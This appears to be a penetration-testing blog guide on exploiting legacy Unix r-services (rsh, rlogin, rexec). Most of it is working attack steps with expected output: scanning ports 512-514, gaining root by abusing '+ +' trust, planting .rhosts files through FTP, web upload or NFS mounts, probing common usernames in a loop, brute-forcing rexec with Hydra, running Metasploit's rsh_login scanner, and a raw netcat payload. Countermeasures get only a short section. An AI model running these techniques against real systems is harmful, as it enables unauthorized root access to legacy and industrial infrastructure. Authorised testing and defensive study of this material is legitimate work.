RSH: Clear Text Remote Shell on Unix Systems

RSH: Clear Text Remote Shell on Unix Systems
- Posted on 2026-02-23
- Reading time: 3 min
Rsh (Remote Shell) is a legacy protocol for remote command execution on Unix systems that predates SSH. Although obsolete and insecure, Rsh is still present in legacy environments, industrial embedded systems, and outdated infrastructure. In this guide, you'll learn how to identify and leverage r-services to gain access to systems long forgotten.
Why Rsh is Relevant in 2026 #
You might think no one uses Rsh anymore. The reality is different: industrial environments (SCADA/ICS), mainframe systems, older network appliances, and legacy infrastructures often keep r-services active for compatibility. During penetration tests in industries like manufacturing, energy, or healthcare, encountering Rsh is not uncommon.
The lack of encryption and trust-based authentication (IP/hostname) make Rsh a valuable attack vector when present.
The R-Services Family #
Rsh is part of a suite of Berkeley remote services:
| Service | Port | Function |
|---|---|---|
| rsh | 514/tcp | Remote command execution |
| rlogin | 513/tcp | Interactive remote login |
| rexec | 512/tcp | Remote execution with password |
| rcp | 514/tcp | Remote File Copy |
They all share the same weak file-based authentication model .rhosts e hosts.equiv.
Client Installation #
On Kali Linux the rsh client may not be preinstalled:
sudo apt update && sudo apt install rsh-client -yVerify:
rsh --helpOn systems where the package is not available, you can use netcat to interact directly with the protocol.
How Rsh Authentication Works #
Rsh uses a trust model based on:
- hosts.equiv - Global file
/etc/hosts.equivwhat a list of trusted hosts - .rhosts - Per-user files
~/.rhostswhich specifies which remote users can access
The line + + The jackpot in these files is: allow ANY host and ANY user to connect.
Identification of R-Services #
Before attacking, identify services with Nmap :
nmap -sV -p 512,513,514 192.168.1.0/24Output for vulnerable system:
PORT STATE SERVICE VERSION
512/tcp open exec rexecd
513/tcp open login rlogind
514/tcp open shell rshdBasic Use of Rsh #
Single Command Execution #
rsh -l username targethost commandPractical example:
rsh -l root 192.168.1.100 idOutput if trust is configured:
uid=0(root) gid=0(root) groups=0(root)Interactive Shell with Rlogin #
rlogin -l root 192.168.1.100Exploitation Techniques #
Scenario 1: Universal Trust (+ +) #
The most favorable case: .rhosts contains + +.
# COMANDO: Test accesso root
rsh -l root 192.168.1.100 idEXPECTED OUTPUT #
uid=0(root) gid=0(root) groups=0(root)WHAT TO DO IF IT FAILS #
- “Permission denied”: The trust does not include your IP/user
- "Connection refused": Rsh not active or firewall
Scenario 2: Rhosts Injection #
If you have limited write access (via anonymous FTP, web upload):
echo "+ +" > /home/victim/.rhosts
rsh -l victim targethost /bin/bash -iScenario 3: NFS + Rsh Combo #
If the target exports home directory via NFS:
sudo mount -t nfs 192.168.1.100:/home /mnt/nfs
echo "+ +" > /mnt/nfs/victim/.rhosts
rsh -l victim 192.168.1.100 idPractical Penetration Testing Scenarios #
Complete Scenario: Legacy Unix Environment #
Estimated timeline: 20 minutes
# COMANDO: Scan iniziale
nmap -sV -p 512-514 192.168.1.50EXPECTED OUTPUT #
PORT STATE SERVICE
512/tcp open exec
513/tcp open login
514/tcp open shell# COMANDO: Test trust con utenti comuni
for user in root admin oracle nobody bin; do
echo "Testing $user..."
rsh -l $user 192.168.1.50 id 2>/dev/null && echo "SUCCESS: $user"
doneIntegration Matrix #
| Rsh + | Outcome | Use |
|---|---|---|
| Nmap | r-services identification | nmap -p 512-514 target |
| NFS | Injecting .rhosts via mount | Compromise trust |
| Hydra | Bruteforce rexec | hydra rexec://target |
| Metasploit | rsh_login modules | Automated scanner |
Metasploit for R-Services #
msf6 > use auxiliary/scanner/rservices/rsh_login
msf6 auxiliary(rsh_login) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(rsh_login) > set USERNAME root
msf6 auxiliary(rsh_login) > runDetection and Countermeasures #
What the Blue Team is looking for #
- Connections on ports 512-514
- Changes to
.rhostsehosts.equiv - Log in
/var/log/auth.log
Troubleshooting #
"Connection refused" #
nmap -p 514 target“Permission denied” #
Try other usernames or search for vectors to change .rhosts.
Client unavailable #
Use netcat:
echo -e "\0root\0root\0id\0" | nc target 514Cheat Sheet Commands #
| Operation | Command |
|---|---|
| remote command | rsh -l user host command |
| Interactive Shell | rlogin -l user host |
| Copy file upload | rcp file user@host:/path |
| Trust Test | rsh -l root host id |
FAQ #
Is Rsh still used?
Yes, in legacy, SCADA/ICS, and mainframe environments.
How to defend yourself from Rsh?
Disable services, use SSH, firewall on ports 512-514.
Is it legal to test Rsh?
Only on authorized systems. For legacy penetration testing, visit hackita.it/servizi.
Want to support HackIta? Visit hackita.it/supporto to donate. For professional penetration testing and one-on-one training, check out hackita.it/servizi.
Resources : R-Services Wikipedia






